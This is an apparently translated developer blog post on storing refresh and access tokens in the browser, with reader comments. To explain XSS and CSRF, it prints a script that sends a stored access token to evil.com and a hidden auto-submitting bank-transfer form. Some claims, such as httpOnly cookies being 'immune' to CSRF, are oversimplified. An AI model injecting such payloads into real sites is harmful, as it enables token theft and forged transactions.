Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Daily short news for you
  • Wow, Windsurf has just updated its new policy for free accounts, everyone. The three most notable points are:

    • 25 credits per month to use premium models like gpt-4, sonet 3.5...
    • Unlimited use of the Write mode (similar to Cursor's Agents) with their homegrown Cascade Base model.
    • Unlimited code suggestions, especially with always fast speed (previously limited to slow speed).

    It's worth coming back, right everyone? 🤤

    » Read more
  • Deep Research Mini has started appearing in my free GPT account. This can be considered a simplified version of the Deep Research feature, which is only available in paid GPT accounts.

    I just tried a command: 'The coffee consumption situation in Vietnam in 2024', and it went off to find and compile documents for 34 minutes, producing a pretty neat report. This feature seems quite useful; I need to use it more to know for sure 🤤

    Oh, it's called mini because it uses the 4o-mini model, and currently, you can only use it 5 times a month 🫣

    » Read more
  • R1 hasn't passed, R2 has already arrived 😅

    Although it's just rumors for now, only Deepseek seems to be making a similar impact as OpenAI or Anthropic. What users care about are quality & price 😄

    Deepseek R2 will be releasing soon

    » Read more

The Issue

In the previous article, Why is Refresh Token Needed? Do You Know How to Store Refresh Token and Access Token Safely in the Browser? we learned why refresh tokens should be used. The question arises: if the access token is stolen, the chance of the refresh token "vanishing without a trace" is also very high. So what is the point of generating a refresh token when the opportunity to steal both is the same?

To find the answer, many debates have erupted, and there seems to be no end in sight because everyone has valid points. In the role of an audience member sitting in the stands of a stadium, observing the match to synthesize and present the most compelling insights. There is nothing absolute, and it depends on each person's perspective. Therefore, we hope you continue to contribute your opinions in the comments section to improve the article. Returning to this article, let's explore where to store access tokens and refresh tokens in the browser to provide the best security, or at least understand the issue to find a suitable storage location.

Attack Forms Targeting Access Tokens & Refresh Tokens

To find ways to prevent attacks, we first need to understand what attack forms exist targeting access tokens and refresh tokens.

Basically, there are two forms. One is "theft" outright. The other is exploitation to perform actions that the user does not want. Corresponding to these two forms are the attack techniques XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). Oh, not to mention, there's a more dangerous form known as PAA (Physical Access Attack). This means the attacker directly uses the victim's machine to access and illegally copy user data. Therefore, never take your eyes off your device if it contains important data. However, since PAA is too straightforward, let's focus on the two attack forms XSS and CSRF.

XSS is a common form of attack. The attacker somehow injects a piece of JavaScript code into the server. The server distributes that code to the client. When the client receives and executes the code, the data will be stolen.

For example, a website has a comment feature. Anyone can comment, and others can view those comments. If the website has not prevented XSS, the attacker starts commenting with the content.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

This comment is distributed to others. Immediately, this code is executed, stealing the access_token and sending it to an address https://evil.com/steal.

In contrast, CSRF does not directly steal; it only exploits to force the user to perform unwanted actions.

For example, you have logged into an online banking site bank.com. Theoretically, the access token & refresh token (if any) have been stored in the browser and automatically sent for every subsequent access. The attacker tricks you into visiting their website, which contains malicious code that looks like this.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

It is easy to see that this is a piece of code that runs automatically upon access. It sends a transfer request to https://bank.com/transfer. If bank.com does not handle CSRF well, the attacker has successfully completed a money transfer because clearly, the browser recognizes a request sent to https://bank.com and immediately sends the valid access token.

CSRF can be prevented by setting SameSite=Strict or SameSite=Lax in cookies. However, not every website is suitable for these two modes. In other words, it is necessary to be cautious of potential hidden risks that are not easily noticeable.

Where to Store Access Token and Refresh Token?

Looking back in the browser, there are storage locations such as:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexedDB
  • Some browsers even support Web SQL Database - a form of SQL relational database.
  • JavaScript Variables

Therefore, let's analyze what happens if we store access tokens and refresh tokens in Cookies? If both are stored in Cookies, they will automatically be attached to every request to the server. This is unnecessary and somewhat redundant because not every request requires a refresh token. Additionally, storing both in Cookies carries a high risk of XSS and CSRF attacks. If the website is unfortunately attacked by XSS, the attacker can easily obtain the access token & refresh token.

Storing the access token or refresh token in SessionStorage, LocalStorage, IndexedDB, Web SQL... can prevent CSRF since requests do not automatically attach access tokens. However, there remains the concern of XSS. If a simple piece of JavaScript code is injected, the user data can vanish without a trace. It is evident that the crux of the issue is that attackers exploit JavaScript code to steal, so is there a place in the browser that JavaScript cannot access?

Fortunately, there is. In Cookies, there is a type of value called httpOnly - where JavaScript cannot access. Suppose the website is attacked by XSS; the attacker still cannot obtain the access code. httpOnly has all the characteristics of a normal cookie value. So does storing both in Cookies as httpOnly make it safe? Hmm... Not necessarily. Because at this point, we return to the issue of being vulnerable to CSRF attacks.

At this point, readers can realize that storing the refresh token in Cookies as httpOnly is immune to CSRF attacks. Because CSRF primarily targets the access token to gain user access, while the refresh token cannot do this. Furthermore, using the refresh token to request a new access token only occurs at a certain endpoint. Just set the Cookies to apply at that API, and you solve the problem of redundancy in each query. It is indeed a perfect choice. The issue now is to find a suitable location for the access token.

In practice, the access token only has the option of being stored in SessionStorage, LocalStorage, IndexedDB, Web SQL... to avoid CSRF attacks; the only remaining concern is XSS. Conversely, if stored in Cookies, the concern shifts back to CSRF. In summary, there is no solution that is absolutely safe. Perhaps at this point, we need to focus on preventing XSS and CSRF more than where to store them.

Additionally, there is still one place that has not been mentioned until now: in JavaScript variables. Storing the access token in a JavaScript variable does not guarantee safety against XSS but offers more benefits compared to SessionStorage, LocalStorage... mentioned above. The access token only exists during the lifecycle of the current page. When the user reloads the page or closes the website, the access token is also lost. The attacker can only steal it if they inject malicious code during the user's session and know exactly which variable contains the access token data.

Conclusion

There are two common forms of attacks targeting access tokens and refresh tokens: XSS and CSRF. While XSS exploits the injection of malicious JavaScript code to steal data, CSRF takes advantage of performing actions that the user does not want. To prevent XSS, the best approach is to store the refresh token in Cookies in httpOnly state. The access token should be stored in a JavaScript variable to eliminate CSRF attacks and minimize concerns about XSS.

Premium
Hello

5 profound lessons

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

View all

Subscribe to receive new article notifications

or
* The summary newsletter is sent every 1-2 weeks, cancel anytime.

Comments (4)

Leave a comment...
Avatar
Nguyen Danh9 months ago
PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được. PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF. Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???
Reply
Avatar
Trần Ngọc Hải2 years ago
Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro
Reply
Avatar
Nguyễn Văn Nhật2 years ago
M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'
Reply
Avatar
Xuân Hoài Tống2 years ago
Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được
Avatar
Nguyễn Văn Nhật2 years ago
Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy
Avatar
Xuân Hoài Tống2 years ago
Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại
Avatar
Long Domi2 years ago
H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu
Reply
Avatar
Long Domi2 years ago
@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật&nbsp;
Avatar
Long Domi2 years ago
Thanks a e sẽ nghiên cứu ạ
Avatar
Vũ Mạnh Đức2 years ago
CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...